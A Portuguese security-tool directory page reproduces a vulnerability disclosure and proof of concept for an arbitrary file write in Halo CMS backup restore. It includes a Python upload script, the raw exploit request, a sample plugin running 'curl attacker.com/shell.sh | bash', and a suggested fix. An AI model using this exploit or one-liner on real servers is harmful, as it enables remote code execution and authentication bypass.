Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — Exploit de prova de conceito para uma vulnerabilidade de escrita arbitrária de arquivos na restauração de backup do Halo CMS, permitindo RCE via substituição de JAR de plugin ou bypass de autenticação. | Kitploit
Ferramentas/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

Exploit de prova de conceito para uma vulnerabilidade de escrita arbitrária de arquivos na restauração de backup do Halo CMS, permitindo RCE via substituição de JAR de plugin ou bypass de autenticação.

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Vulnerabilidade de Gravação Arbitrária de Arquivos na Restauração de Backup do Halo CMS

Resumo

Existe uma vulnerabilidade crítica de gravação arbitrária de arquivos na funcionalidade de restauração de backup do Halo CMS até a versão 2.25.4. O método restoreWorkdir() em MigrationServiceImpl.java copia o diretório workdir/ de um arquivo de backup fornecido pelo usuário diretamente para o diretório de trabalho da aplicação Halo (~/.halo2/) sem qualquer validação de tipos de arquivo, proteção contra path traversal ou verificação de links simbólicos. Um atacante autenticado com privilégios de gerenciamento de backup pode criar um arquivo ZIP de backup malicioso contendo arquivos arbitrários no diretório workdir/, que serão gravados no diretório de trabalho do servidor durante a restauração, potencialmente levando à Execução Remota de Código (RCE) por meio da substituição de JARs de plugins ou à bypass de autenticação por meio da substituição de chaves RSA.

Pontuação CVSS v3.1: 8.8 (Alta)
Vetor CVSS: CWE-73 (Controle Externo do Nome ou Caminho do Arquivo)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE:

Versões Afetadas

  • Halo CMS ≤ 2.25.4
  • Todas as versões com funcionalidade de restauração de backup

Detalhes da Vulnerabilidade

Causa Raiz

A vulnerabilidade reside no método restoreWorkdir() de MigrationServiceImpl.java (linhas 230-243):

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // LINHA VULNERÁVEL
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

O método copyRecursively() (o FileSystemUtils do Spring) realiza uma cópia recursiva sem:

  1. Validação de tipo de arquivo - Nenhuma verificação de extensões de arquivo ou tipos MIME
  2. Proteção contra path traversal - Nenhuma verificação de sequências .. em nomes de arquivos
  3. Detecção de links simbólicos - Nenhuma verificação de links simbólicos
  4. Limites de tamanho de arquivo - Nenhuma restrição de tamanho de arquivos
  5. Proteção contra sobrescrita - Sobrescreve silenciosamente arquivos existentes

Vetor de Ataque

A vulnerabilidade é acionada por meio do endpoint de restauração de backup:

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

O processo de restauração segue esta sequência:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → Extrai o ZIP para diretório temporário │
│  2. restoreExtensions() → Restaura extensions.data          │
│  3. restoreWorkdir() → Copia workdir/ para ~/.halo2/        │
│     ↑ Arquivos arbitrários gravados no diretório de trabalho│
└─────────────────────────────────────────────────────────────┘

Estrutura do Backup Malicioso

Um arquivo ZIP de backup malicioso deve conter:

root@kitploit:~
malicious-backup.zip
├── extensions.data          # Obrigatório: Pode estar vazio ou conter JSONL válido
└── workdir/                 # Obrigatório: Conteúdo copiado para ~/.halo2/
    ├── PWNED_BY_POC.txt     # Arquivo marcador de prova de conceito
    ├── plugins/             # JARs de plugins para RCE
    │   └── evil-plugin.jar  # Plugin malicioso
    └── keys/                # Chaves RSA para bypass de autenticação
        ├── pat_id_rsa       # Chave privada maliciosa
        └── pat_id_rsa.pub   # Chave pública maliciosa

Formato do extensions.data

O arquivo extensions.data deve ser válido para que restoreExtensions() tenha sucesso. Formatos válidos incluem:

  1. Arquivo vazio: (conteúdo vazio)

  2. Linha vazia: \n (apenas nova linha)

  3. JSONL válido: Um objeto ExtensionStore por linha:

    root@kitploit:~
    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    Onde data é conteúdo codificado em base64.


Etapas de Exploração

Pré-requisitos

  • Usuário autenticado com privilégios de gerenciamento de backup
  • Acesso de rede à API do Halo

Etapa 1: Criar Backup Malicioso

root@kitploit:~
import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # extensions.data vazio (passa na validação do restoreExtensions)
    zf.writestr('extensions.data', '\n')

    # Arquivo arbitrário para gravar em ~/.halo2/
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Gravação arbitrária de arquivo confirmada!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

Etapa 2: Enviar o Backup Malicioso

Endereço de Gerenciamento de Backup do Frontend:http://ip:porta/console/backup

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<Conteúdo binário do arquivo ZIP>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

Etapa 3: Verificar o Arquivo Gravado

root@kitploit:~
# No servidor Halo
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

Análise de Impacto

Impacto Direto

  1. Gravação Arbitrária de Arquivos: O atacante pode gravar qualquer arquivo em ~/.halo2/
  2. Sobrescrita de Arquivos: Arquivos existentes são sobrescritos silenciosamente

Cenários de Escalonamento

Vetor de AtaqueArquivo AlvoImpactoGravidade
Substituição de JAR de Plugin~/.halo2/plugins/*.jarExecução Remota de CódigoCrítica
Substituição de Chave RSA~/.halo2/keys/pat_id_rsaBypass de AutenticaçãoCrítica
Substituição de Tema~/.halo2/themes/*XSS ArmazenadoAlta
Sobrescrita de Configuração~/.halo2/*.yamlBypass de Controles de SegurançaAlta

RCE por Substituição de JAR de Plugin

Um atacante pode substituir um JAR de plugin legítimo por um malicioso contendo:

root@kitploit:~
@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // Executa comando arbitrário
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

Quando o plugin é carregado, o código malicioso é executado com os privilégios do processo Halo.


Prova de Conceito

Script PoC em Python

root@kitploit:~
#!/usr/bin/env python3
"""
PoC de Gravação Arbitrária de Arquivos na Restauração de Backup do Halo CMS
Vulnerabilidade: Gravação Arbitrária de Arquivos na Restauração de Backup
CVSS: 8.8 (Alta)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Gravação arbitrária de arquivo na restauração de backup do Halo confirmada!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Status: {r.status_code}")
    print(f"Resposta: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] SUCESSO! Verifique: cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

Verificação

root@kitploit:~
# Executar o PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# No servidor Halo
cat ~/.halo2/PWNED_BY_POC.txt

Remediação

Correção Recomendada

Adicione validação ao método restoreWorkdir():

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // Validar ausência de path traversal
                checkDirectoryTraversal(backupRoot, workdir);

                // Validar ausência de links simbólicos
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Links simbólicos não são permitidos");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // Copiar com validação
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

Recomendações Adicionais

  1. Implementar assinatura de backup: Assinar criptograficamente os backups para evitar adulteração
  2. Adicionar lista de permissões de tipos de arquivo: Permitir apenas tipos específicos de arquivos no workdir
  3. Implementar limites de tamanho de arquivo: Restringir tamanhos máximos de arquivos
  4. Adicionar registro de auditoria: Registrar todas as operações de restauração de backup
  5. Exigir reautenticação: Exigir confirmação de senha para restauração de backup

Referências

  • Fornecedor: https://github.com/halo-dev/halo
  • Código Afetado: application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java
  • CWE-73: https://cwe.mitre.org/data/definitions/73.html
  • Calculadora CVSS: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Cronograma

  • Data da Descoberta: 2026-07-10
  • Notificação ao Fornecedor: [Pendente]
  • Divulgação Pública: [Pendente]

Créditos

  • Descobridor: LIAN

Aviso Legal

Esta divulgação de vulnerabilidade destina-se exclusivamente a fins de pesquisa em segurança. O autor não é responsável por qualquer uso indevido destas informações. Sempre obtenha autorização adequada antes de testar sistemas em busca de vulnerabilidades.

Baixar ferramenta